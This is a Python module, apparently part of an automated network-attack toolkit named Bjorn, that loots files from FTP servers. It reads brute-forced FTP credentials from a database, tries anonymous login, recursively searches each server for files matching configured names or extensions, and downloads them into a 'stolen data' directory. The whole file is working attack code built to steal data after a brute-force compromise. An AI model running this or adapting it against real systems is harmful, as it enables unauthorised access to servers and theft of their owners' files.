Files
Bjorn/actions/steal_files_ftp.py

249 lines
9.5 KiB
Python

"""
steal_files_ftp.py — FTP file looter (DB-backed)
SQL mode:
- Orchestrator provides (ip, port) after parent success (FTPBruteforce).
- FTP credentials are read from DB.creds (service='ftp'); anonymous is also tried.
- IP -> (MAC, hostname) via DB.hosts.
- Loot saved under: {data_stolen_dir}/ftp/{mac}_{ip}/(anonymous|<username>)/...
"""
import os
import logging
import time
from threading import Timer
from typing import List, Tuple, Dict, Optional
from ftplib import FTP
from shared import SharedData
from logger import Logger
logger = Logger(name="steal_files_ftp.py", level=logging.DEBUG)
# Action descriptors
b_class = "StealFilesFTP"
b_module = "steal_files_ftp"
b_status = "steal_files_ftp"
b_parent = "FTPBruteforce"
b_port = 21
class StealFilesFTP:
def __init__(self, shared_data: SharedData):
self.shared_data = shared_data
self.ftp_connected = False
self.stop_execution = False
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
self._refresh_ip_identity_cache()
logger.info("StealFilesFTP initialized")
# -------- Identity cache (hosts) --------
def _refresh_ip_identity_cache(self) -> None:
self._ip_to_identity.clear()
try:
rows = self.shared_data.db.get_all_hosts()
except Exception as e:
logger.error(f"DB get_all_hosts failed: {e}")
rows = []
for r in rows:
mac = r.get("mac_address") or ""
if not mac:
continue
hostnames_txt = r.get("hostnames") or ""
current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else ""
ips_txt = r.get("ips") or ""
if not ips_txt:
continue
for ip in [p.strip() for p in ips_txt.split(';') if p.strip()]:
self._ip_to_identity[ip] = (mac, current_hn)
def mac_for_ip(self, ip: str) -> Optional[str]:
if ip not in self._ip_to_identity:
self._refresh_ip_identity_cache()
return self._ip_to_identity.get(ip, (None, None))[0]
def hostname_for_ip(self, ip: str) -> Optional[str]:
if ip not in self._ip_to_identity:
self._refresh_ip_identity_cache()
return self._ip_to_identity.get(ip, (None, None))[1]
# -------- Credentials (creds table) --------
def _get_creds_for_target(self, ip: str, port: int) -> List[Tuple[str, str]]:
"""
Return list[(user,password)] from DB.creds for this target.
Prefer exact IP; also include by MAC if known. Dedup preserves order.
"""
mac = self.mac_for_ip(ip)
params = {"ip": ip, "port": port, "mac": mac or ""}
by_ip = self.shared_data.db.query(
"""
SELECT "user","password"
FROM creds
WHERE service='ftp'
AND COALESCE(ip,'')=:ip
AND (port IS NULL OR port=:port)
""", params)
by_mac = []
if mac:
by_mac = self.shared_data.db.query(
"""
SELECT "user","password"
FROM creds
WHERE service='ftp'
AND COALESCE(mac_address,'')=:mac
AND (port IS NULL OR port=:port)
""", params)
seen, out = set(), []
for row in (by_ip + by_mac):
u = str(row.get("user") or "").strip()
p = str(row.get("password") or "").strip()
if not u or (u, p) in seen:
continue
seen.add((u, p))
out.append((u, p))
return out
# -------- FTP helpers --------
def connect_ftp(self, ip: str, username: str, password: str) -> Optional[FTP]:
try:
ftp = FTP()
ftp.connect(ip, b_port, timeout=10)
ftp.login(user=username, passwd=password)
self.ftp_connected = True
logger.info(f"Connected to {ip} via FTP as {username}")
return ftp
except Exception as e:
logger.info(f"FTP connect failed {ip} {username}:{password}: {e}")
return None
def find_files(self, ftp: FTP, dir_path: str) -> List[str]:
files: List[str] = []
try:
if self.shared_data.orchestrator_should_exit or self.stop_execution:
logger.info("File search interrupted.")
return []
ftp.cwd(dir_path)
items = ftp.nlst()
for item in items:
if self.shared_data.orchestrator_should_exit or self.stop_execution:
logger.info("File search interrupted.")
return []
try:
ftp.cwd(item) # if ok -> directory
files.extend(self.find_files(ftp, os.path.join(dir_path, item)))
ftp.cwd('..')
except Exception:
# not a dir => file candidate
if any(item.endswith(ext) for ext in (self.shared_data.steal_file_extensions or [])) or \
any(name in item for name in (self.shared_data.steal_file_names or [])):
files.append(os.path.join(dir_path, item))
logger.info(f"Found {len(files)} matching files in {dir_path} on FTP")
except Exception as e:
logger.error(f"FTP path error {dir_path}: {e}")
raise
return files
def steal_file(self, ftp: FTP, remote_file: str, base_dir: str) -> None:
try:
local_file_path = os.path.join(base_dir, os.path.relpath(remote_file, '/'))
os.makedirs(os.path.dirname(local_file_path), exist_ok=True)
with open(local_file_path, 'wb') as f:
ftp.retrbinary(f'RETR {remote_file}', f.write)
logger.success(f"Downloaded {remote_file} -> {local_file_path}")
except Exception as e:
logger.error(f"FTP download error {remote_file}: {e}")
# -------- Orchestrator entry --------
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
try:
self.shared_data.bjorn_orch_status = b_class
try:
port_i = int(port)
except Exception:
port_i = b_port
creds = self._get_creds_for_target(ip, port_i)
logger.info(f"Found {len(creds)} FTP credentials in DB for {ip}")
def try_anonymous() -> Optional[FTP]:
return self.connect_ftp(ip, 'anonymous', '')
if not creds and not try_anonymous():
logger.error(f"No FTP credentials for {ip}. Skipping.")
return 'failed'
def _timeout():
if not self.ftp_connected:
logger.error(f"No FTP connection within 4 minutes for {ip}. Failing.")
self.stop_execution = True
timer = Timer(240, _timeout)
timer.start()
mac = (row or {}).get("MAC Address") or self.mac_for_ip(ip) or "UNKNOWN"
success = False
# Anonymous first
ftp = try_anonymous()
if ftp:
files = self.find_files(ftp, '/')
local_dir = os.path.join(self.shared_data.data_stolen_dir, f"ftp/{mac}_{ip}/anonymous")
if files:
for remote in files:
if self.stop_execution or self.shared_data.orchestrator_should_exit:
logger.info("Execution interrupted.")
break
self.steal_file(ftp, remote, local_dir)
logger.success(f"Stole {len(files)} files from {ip} via anonymous")
success = True
try:
ftp.quit()
except Exception:
pass
if success:
timer.cancel()
return 'success'
# Authenticated creds
for username, password in creds:
if self.stop_execution or self.shared_data.orchestrator_should_exit:
logger.info("Execution interrupted.")
break
try:
logger.info(f"Trying FTP {username}:{password} @ {ip}")
ftp = self.connect_ftp(ip, username, password)
if not ftp:
continue
files = self.find_files(ftp, '/')
local_dir = os.path.join(self.shared_data.data_stolen_dir, f"ftp/{mac}_{ip}/{username}")
if files:
for remote in files:
if self.stop_execution or self.shared_data.orchestrator_should_exit:
logger.info("Execution interrupted.")
break
self.steal_file(ftp, remote, local_dir)
logger.info(f"Stole {len(files)} files from {ip} as {username}")
success = True
try:
ftp.quit()
except Exception:
pass
if success:
timer.cancel()
return 'success'
except Exception as e:
logger.error(f"FTP loot error {ip} {username}: {e}")
timer.cancel()
return 'success' if success else 'failed'
except Exception as e:
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
return 'failed'